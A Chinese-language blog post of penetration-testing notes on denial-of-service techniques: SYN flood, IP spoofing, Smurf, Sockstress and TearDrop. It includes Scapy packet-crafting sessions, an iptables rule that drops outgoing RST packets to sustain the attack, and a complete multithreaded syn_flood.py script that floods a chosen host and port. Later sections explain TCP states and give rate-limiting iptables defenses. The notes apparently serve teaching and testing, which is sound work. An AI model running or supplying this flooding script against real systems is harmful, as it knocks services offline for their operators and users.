标签:攻击 src cond date begin class err 请求 目的
Syn-Flood 伴随着IP地址欺骗,大概原理就是不断的不停的发送Syn包,导致目标服务器没有一个完整的tcp连接 Scapy 基础的Scapy定义数据包头 >>> i=IP() >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 127.0.0.1 dst= 127.0.0.1 \options >>> i.dst="10.0.1.87" >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 10.0.1.92 dst= 10.0.1.87 \options >>> t=TCP() >>> t.display() ###[ TCP ]### sport= ftp_data dport= http seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= [] >>> t.dport=22 >>> t.display() ###[ TCP ]### sport= ftp_data dport= ssh seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= [] >>> sr1(i/t,verbose=1,timeout=2) Begin emission: Finished sending 1 packets. Received 4 packets, got 1 answers, remaining 0 packets <IP version=4 ihl=5 tos=0x0 len=44 id=0 flags=DF frag=0 ttl=64 proto=tcp chksum=0x241a src=10.0.1.87 dst=10.0.1.92 |<TCP sport=ssh dport=ftp_data seq=2412378543 ack=1 dataofs=6 reserved=0 flags=SA window=29200 chksum=0x85af urgptr=0 options=[(‘MSS‘, 1460)] |<Padding load=‘\x00\x00‘ |>>> 让操作系统不发reset包 iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.0.1.87 -j DROP syn_flood.py #!/usr/bin/python # -*- coding: utf-8 -*- from scapy.all import * from time import sleep import thread import random import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) if len(sys.argv) !=4: print "usage: ./syn_flood.py 10.0.1.1 80 50" sys.exit() target = str(sys.argv[1]) port = int(sys.argv[2]) threads = int(sys.argv[3]) print "Now Attacking with syn-flood please ctrl+c stop the attack" def synflood(target,port): while 8 == 8: x = random.randint(0,65535) send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0) for x in range(0,threads): thread.start_new_thread(synflood, (target,port)) while 8 == 8: sleep(1) TCP所有连接会话的状态 LISTEN 服务器端口处于侦听状态,等待连接请求 SYN-SENT 客户端发起连接请求,等待对端响应 SYN-RECV 服务端已经收到连接请求 (表示服务端接收到客户端的SYN包,并向服务端发送了SYN+ACK,但是没有收到客户端的ACK包,所以一直处于SYN-RECV的状态) ESTABLISHED 客户端和服务端3次握手成功,TCP连接已经建立 FIN-WAIT-1 客户端或者服务端等待对端响应中断请求确认,或者对端中断请求 FIN-WAIT-2 客户端或者服务端等待对端发送中断请求 CLOSE-WAIT 客户端或者服务端等待本地进程、用户关闭连接 CLOSING 客户端或者服务端等待对端响应连接中断确认 LAST-ACK 客户端或者服务端等待对端响应之前的连接中断确认 TIME-WAIT 客户端或者服务端等待足够时间长度确保对端收到连接中断确认(最大4分钟) CLOSE 客户端或者服务端没有任何连接状态 IP地址欺骗 经常用于DOS攻击 根据IP头地址寻址 -- 伪造IP源地址 边界路由过滤 -- 入站,出站 受害者可能是源,目的地址 绕过基于地址的验证 压力测试模拟多用户 上传协议(TCP协议号) Smurf攻击 这是世界上最古老的DDoS攻击技术 向广播地址发送伪造地址的ICMP echo Request(ping) Sockstress攻击 消耗被攻击目标系统资源 -与攻击目标建立大量socket链接完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) -攻击者资源消耗小(CPU、内存、带宽)异步攻击,单机可拒绝服务高配资源服务器Window窗-实现的TCP流控 防御措施 至今sockstress攻击仍然是一种有效的DoS攻击方式 由于已经简历完整的TCP三次握手,因此使用syn cookie防御机制是无效的 根本的 防御方法可以是采用白名单机制,但是不现实 折中对策:限制单位时间内每IP建立的TCP连接数 封杀每30秒与80端口建立连接超过10个的IP地址 iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -?seconds 30 --hitcount 10 -j DROP https://github.com/defuse/sockstress 参考:https://www.jianshu.com/p/5acb680dc512 TearDrop攻击 主要针对早期微软操作系统 原理:是使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时被拒绝服务 攻击效果:蓝屏,重启,卡死
标签:攻击 src cond date begin class err 请求 目的
原文地址:https://www.cnblogs.com/autopwn/p/14673693.html